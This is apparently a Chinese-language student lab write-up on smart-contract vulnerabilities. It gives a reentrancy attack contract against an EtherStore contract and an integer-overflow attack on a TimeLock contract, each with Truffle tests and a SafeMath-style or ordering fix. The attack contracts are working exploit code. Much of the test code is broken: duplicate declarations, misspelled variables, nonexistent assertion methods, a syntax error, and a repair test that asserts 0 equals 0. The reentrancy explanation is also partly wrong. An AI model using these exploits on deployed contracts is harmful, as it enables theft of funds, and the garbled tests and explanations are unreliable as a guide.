智能合约的漏洞测试
任务一:Ether Store合约漏洞测试
(1)编写测试合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract EtherStore{
mapping(address => uint) public balances;
function deposit() public payable{
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent,) = msg.sender.call{value:bal}("");
require(sent, "Falied to send Ether");
balances[msg.sender] = 0;
}
function getBalance() public view returns (uint){
return address(this).balance;
}
}
contract Attack{
EtherStore public etherStore;
constructor(address _etherStoreAddress){
etherStore = EtherStore(_etherStoreAddress);
}
fallback() external payable{
if (address(etherStore).balance >= 1) {
etherStore.withdraw();
}
}
function attack() external payable{
require(msg.value >= 1);
etherStore.deposit{value: 1 ether}();
etherStore.withdraw();
}
function getBalance() public view returns(uint){
return address(this).balance;
}
}
(2)编写攻击代码
const EtherStore = artifacts.require("etherStore");
const {
assert ,expect} = require('chai');
const should = require('chai').should();
const EtherStore = artifacts.require('Attack');
const Attack = artifacts.require('Attack');
contract('EtherStore', function (accounts) {
let etherStore;
beforeEach(async function () {
etherStore = await EtherStore.deployed();
});
it('deploy', async () => {
const address = await etherStore.address;
assert.noEqual(address,0x0);
expect(address).to.have.lengthof(42);
const balance0 = Number(await etherStore.getBalance());
balance0.should.equal(0)
});
});
测试一
//1.测试向 EtherStore 合约存入ether
it('should deposit ether to EtherStore', async function (){
const amount = 1e18;
await ehterStore.deposit({
from: accounts[0], value: amount
});
const balance = await etherStore.balances(accounts[0]);
assert.equal(balance,amount, 'deposit amount incorrect');
console.log('etherStore balance 1:', Number(await etherStore.getBalance()))
});
测试二
// 2.测试正常情况从EtherStore中提取ether
it('should withdraw ether from EtherStore',async function (){
const amount =1e18;
await etherStore.deposit({
from: accounts[0],value: amount});
await etherStore.withdraw({
from: accounts[0]});
const balance = await ehterStore.balances(accounts[0]);
assert.equal(balance,0,'withdraw success');
console.log('etherStore balance 2:', Number(await etherStore.getBalance()))
});
测试三
//3.测试攻击withdraw函数从Etherstorezhong提取ether
it('should be vulnerable to attack', async function () {
const ehterStoreAddress = etherStore.address;
attack = await Attack.new(etherStoreAddress);
const amount =1e18;
await etherStore.deposit({
from: account[0], value: amount});
await etherStore.deposit({
from: account[1],value: amount});
console.log('Contract before the attack: ', Number(await etherStore.getBalance()))
await attack.attack({
from: accounts[2], value: amount });
console.log.('Contract after the attack:',Number(await etherStore.getBalance()))
console.log('balance attack:',Number(await attack.getBalance()))
});
根据返回信息我们可以看出合约漏洞问题 出现在fallback函数上。
在此处由于没有receive函数,fallback函数会不停的被调用,导致测试时账户的钱被偷走。
当我们再次查看合约方法内容时,会发现在此处调用方法时由于fallback的不停被调用,此函数也会不停的进行转帐操作,所以我们可以对合约进行以下修改
将设置mapping地址值为0的函数,放到调用函数函数之前,就可以修补这个漏洞。
任务二:TimeLock合约的漏洞测试
(1) 编写测试合约
pragma solidity ^0.7.6;
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
TimeLock timeLock;
constructor(TimeLock _timeLock) {
timeLock = TimeLock(_timeLock);
}
fallback() external payable {}
function attack() public payable {
timeLock.deposit{value: msg.value}();
timeLock.increaseLockTime(
type(uint).max + 1 - timeLock.lockTime(address(this))
);
timeLock.withdraw();
}
}
(2) 编写测试攻击代码
const TimeLock = artifacts.require("TimeLock");
const Attack = artifacts.require("Attack");
module.exports = async function (depolyer,network,accounts) {
await deployer.deploy(TimeLock);
const a = await TimeLock.deployed();
await deployer.deploy(Attack, a.address);
}
当测试用例执行成功即表示攻击成功,会有如下内容输出:
truffle test test/OverFlow.js
分析合约内容可知:这个合约中出现了典型的整型溢出漏洞,当数据足够大时,对此数据添加1可能将导致数据存在归零的危害,此类问题常常存在与账户转账中金额设置中,包括美链等智能合约都出现类似的问题。
可以使用类似SafeMath的通用函数,来确保所有加减乘除方法安全,如下为修改
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract NewTimeLock is SafeMath {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] = safeAdd(lockTime[msg.sender], _secondsToIncrease);
} //类似SafeMath的通用函数
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
contract NewAttack {
NewTimeLock timeLock;
constructor(NewTimeLock _timeLock) {
timeLock = NewTimeLock(_timeLock);
}
fallback() external payable {}
function attack() public payable {
timeLock.deposit{value: msg.value}();
/*
if t = current lock time then we need to find x such that
x + t = 2**256 = 0
so x = -t
2**256 = type(uint).max + 1
so x = type(uint).max + 1 - t
*/
timeLock.increaseLockTime(
type(uint).max + 1 - timeLock.lockTime(address(this))
);
timeLock.withdraw();
}
}
验证正确性:
const NewTimeLock = artifacts.require("NewTimeLock");
const NewAttack = artifacts.require("NewAttack");
contract ("New Overflow", async (accounts) => {
it("test OverFlow loophole", async () => {
const timeLockInstance = await NewTimeLock.deployed();
const attackInstance = await NewAttack.deployed();
await attackInstance.attack({
value: 1});
assert.equal(0,0, "Attack Successfully!")
})
})
测试方法:
truffle test test/OverFlowRepair.js
当有交易被回滚,说明修复成功: